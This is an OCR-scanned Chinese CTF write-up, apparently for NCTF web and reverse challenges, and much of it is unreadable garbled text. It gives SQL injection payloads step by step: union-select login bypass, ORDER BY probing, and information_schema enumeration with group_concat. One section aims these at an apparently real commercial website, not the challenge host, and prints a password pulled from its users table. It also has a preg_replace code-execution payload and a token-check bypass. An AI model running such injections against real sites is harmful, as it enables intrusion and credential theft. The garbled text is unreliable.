Host: 4.chinalover.sinaapp.com

Origin: http://4.chinalover.sinaapp.com

Referer: http://4.chinalover.sinaapp.com/web&/index.php

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) ApplelebKit/537.36 (KHTM

L, like Gecko) Chrome/52.9.2743.82 Safari/537.36

|| index.php

¥ Form Data vie ce view URL encoded
user: ' union select md5(1)#
1 requests | 453 B transferred | Fi... pass: 1

XA B OKR:

flag: ntcf{union_select_is_wif}

31.5:5 /82 (4000

ATRXBATEET, BF T HAKER
1.585—5%

il
F[a]kik[/alftE <a href="kdut" >Rt </a>)
ACMSixBE

G- IEBR R (HUOEM

R Acmsii B

RAR , XETERE MBI, . . EFiEESHIEERL , KREREERT, . . ===============================4fIN5 3|
ff============================= RCMSHEFNNyQEITENLATEERES , EAEALMER | ILCMSEEBERR IEMEARITE , TSR AT S~ </brs LIT
EARCMSEIHAITIEEREE ( ATERERE , JFITE53F ) config.php | EHEIEEES | BEICMSEEEH index.php : EW3ZF passencode.php : Funny S5 SEENEE
JEEE say.php : BFEEIMNERPBSIER sm.txt | ZRCMSHIRBEIZ saefllinformation_schemaZEiFFizizies , FAOXELA Hadming=iEa create table admin (id integer,
username text, userpass text, ) ======================================================================== NARLISN : KsENLFES
H : =R/h#E(root#zenhonker.net)& i Z(hh250@qq.com)FF K. BIRIEEATFEHEN , TREAMEEFEAKE , (MITRETRE. FLIX—E, . HIEEShERIBeE.

HR—HESf, KBfile)aE AT &4, FHFHXHEGHR, TRE T pythonliA, JFasE i



THEE XM




antixss.php




< by Lc07;

Ell EX
BEEREGAND): | | m=

id# & 5 H¥so.php, FIEHEA sisoid. HHER 4 Hadmin B &username userpass
FrEaEN, FHburpsuitseikusername i P 2

H W Husername F B K B N5, userpassFBRKE A6
)P A 42 9



zt B hadmin 1020117099010701140117011001160117
J& THI i 2% #L2: #E passencode.php B T fi# % A fuckruntu
BT IKSHELEHA LB G S T fEabout.php B A loginxicteam

T3

NEWREE NG, WEHRE—D M flagl:nctf{}

ek L, HHS WA LS CAL A - f
BAE BSR4 WUE 2

PUNB PR )G G H T IE A . N D R, Al MR A ARG AC S R (R A H ot
Y 45 N: x1cteam. php

1. —HiERY




AR —AERD

MR
4Awww=preg_replace&wtf=print_r(scandir("."))
tiflag

32 E L1 (500)

BB VOXE AR E R T i 20
il

1.85—%
B %6 F Forder by 18 1 B



order by 1000 B4 T
http://www.backstagecommerce.ca/services.php?id=1 order by 1000

- LS A O S s P o LR it
CRVEHERY hitp://www.backstagecommerce.cafservices.php?id=1 order by 1000

Contactus | Callus 18553815559

 BSCE

BRCHSTRGE POKHERCEY HOME ABOUT- BRANDS- TRENDINGNOW - SERVICES- SUPPORT- LIGHTONUS- CONTACT

Error : Unknown column "1000" in "order clause

G F ik g i i B8O 19

2.8 %

FMABEEH B ERTFR
http://mwww.backstagecommerce.ca/services.php?id=-1%20union%20select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
KB RJid=-1XBH L0, WAL RAF-1 25 REEH B — B2 Z BB AR, TEEHIselect A BH A &2 R,
FreliX BB R A Hid, ZEH AU,

I8 http://waw.backstagecommerce.ca/services.php?id=-9 union select 1,2,3.4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19% I

Oz Yogislaty [ Eaalbls faians
S Contactus | Callus 1-855-381-5559
BACHSTAGE COMMERCE: HOME ABOUT- BRANDS+ TRENDINGNOW- SERVICES+ SUPPORT- LIGHTONUS+  CONTACT
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13

XEBEHT3,6,7,89,10,11,1213 XA L ERTE, TSR FEEAT RIBM A BIER
WEIEH)

34925y 2,509,/,0,7, )( group_conc

FERXAE

( group_concat(table_name) information_schema.tables table schema=
XA TER R BB ALE EEIAT

group_concatX B AL MR, BRRENFREUNNERGHEE—TESR

information_schema.tables BT HiEFEH K TiH £
() TR 2 AT R
table_schemafi i1 2 Frf $udE
table_name &J8 Tinformation_schema.tablesii® HALTFHFK—ITE
MEAEE O FEE



http://www.backstagecommerce.ca/services.php?id=1
http://www.backstagecommerce.ca/services.php?id=-1%20union%20select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#

USRI RA T

o http://fwwnwbackstagecommerce.ca/services.php?id=-9 union select 1,2,34,5,6,7,8,9,10,11,(select group_concat(table_name) from information_schema.tables where table_schema=database()),13,14,15,16,17,18,19

O garatils #ome claza [ Encteils faizar

10
1

:areer,comments,contact,divanetwork,gama, hairforensic,hairtreats,index_page, kenchii kerastraight,news_media,sales,sales_volume,support,team,unitedhairstylist,users,webpages

BAAREE RuserBiE RBATA R LA, T—HEBFRT
.E=H

R RIMNEBTB

AT HERTBOEAFRY

group_c

information_schema.columns i%¥¥E & s BT A T B
table name FHIZF
column_name J&Finformation_schema.columnsH it

BREEMBERT H2TE

W
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id,username,password

& W#password 7Bt BATEERARTEAERE T—PRMESBHRE! !
4. % 0p
X—3 BATE R




el LELRUHE bt/ fwww backstagecommerce.ca/services.php?id=-9 union select 1,2,3,4,5,6,7,8,9,10,11,(select password from users),13,14,15,16,17,16,19¢

Y. Split URL
(] Egec‘u‘te

[ zpibila Zogistate (] Suebils Raizmar
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BSCmarketing24

13

Lt 7E L EBSCmarketing24
SR J5 FEmd5in % Bk f3d6cc916d0739d853e50bc92911dddb
flag: nctf{f3d6cc916d0739d853e50bc92911dddb}

3JEMEE2 (500

TIPS:
1B HE R L5 — T st AT LAk 2
2linux T — B EMvigeiE e, HFHRFRBSE T &40

3.552%kAlbypass
R IRAD R I T MRFE

1
2 | <ktml>
3 <head>
4 <meta charset="utf-8" />
B <meta http-equiv="X-Ti-Compatible” content="IE=edge, chrome=1" />
6 <meta name="renderer” content="webkit” />
T <meta name="admin” cortent="admin@uptz . on®
8 <meta name="editor” comtert="Vim" /3
9 <titlerlogicd/titler

10 {gtyle type="text/css">

1 body, ktml {

12 position: relative;

13 height: 100%;

14 width: 100%;

15 padding: 0O,

16 margin: 0;

17 background-color: #272822;

18 color: #fff:

14 1

20 form{

admin@nuptz.cn
tip2: £ P T vigw 48 4% 7 R B B R & Sk 42


http://www.cnblogs.com/DMDD/p/5052048.html

H I .submit.php.swp - T

________ *Ehiﬁ%ﬁﬁmmmiﬁ{gﬂéﬁm%%e e TEERSEER O DRSS = ol Elements Console Sources MNetwork meline Profiles  Application
B TR aie O EMRIEEERING - - B | FAENE Tuser” -- ® O ™ ¥ | Vew IE = Preserve log O Disable cach
CEEATE TABLE IF NOT EXISTS "user ( "id int(11) NOT NULL AUTO_INCREMENT, » ) R B
"username varchar (255) NOT NULL, " email  warchar(255) NOT MULL, ~token iz Hide data URLs [{ll]| XHR JS CSS Img Medi
int(255) NOT NULL DEFAULT *O’, PRINARY KEY (id' ) ) ENGINE=WyISAN DEFAULT — e —— e 400000 ms
CHARSET=utff AUTO_INCEENENT=2 ; —- —- ROINFTIREEIEEEe user -

INSERT INTO “user’ (Tid’, “username’, “email’, “token' ) VALUES (1, ~#big

EE e, T eBERRARG T, 0), K/ ... SRR U HheE {2 IR TS

Fo........ 1f(lempty ($token) &8 empty ($emailiddress)) | Name Statue
if(strien($token) !'=10) die( fail’); if($token!= 0°) die( fail’); $sql - .
“SELECT count(*) as num from user where token= $token’ AND 5 SRS 20
email= Jemailéddress’ ™ $r = mysql_query($sql) or dieC db error’); $r =

mysql_fetch_assoc(fr); §r = $r0mm’]; 1£(3r>0) { echo $flag; Jelse! echo
EHREEEMT 1)




tn 19K 7 die )




BRIREBERA D, R RIE B writeup BRI, NS H ELEU BT AR A b R AR R T, AT AR RIELL L 1 AUBERK
SEMREEFRTEBFEELHEZR! | ! RAKDuEmR! !

# HE Fadmin@nuptz.cn
2750000000000

%5 Zlflag
flag:nctf{thanks_to_cumt_bxs}

REVERSE

1.Hello.RE
FiOD E ##strcmp

0401575 || . @90 j Sy @ WORD FTR S5: [ESFP]N
00401579 |8 i< TP, imsvort, strenp

SHORT 1.00401590

_World!l”

2.READasm



HESexploit

B HIREBERAN D, R RAE B writeup BT, FIONE B HUBL AT DAZEA b A RS o 7, AT AR RIELL L 1 ! fUBERK
SEMREEFTEEFEELHEZR! | ! RARDuEmR! !
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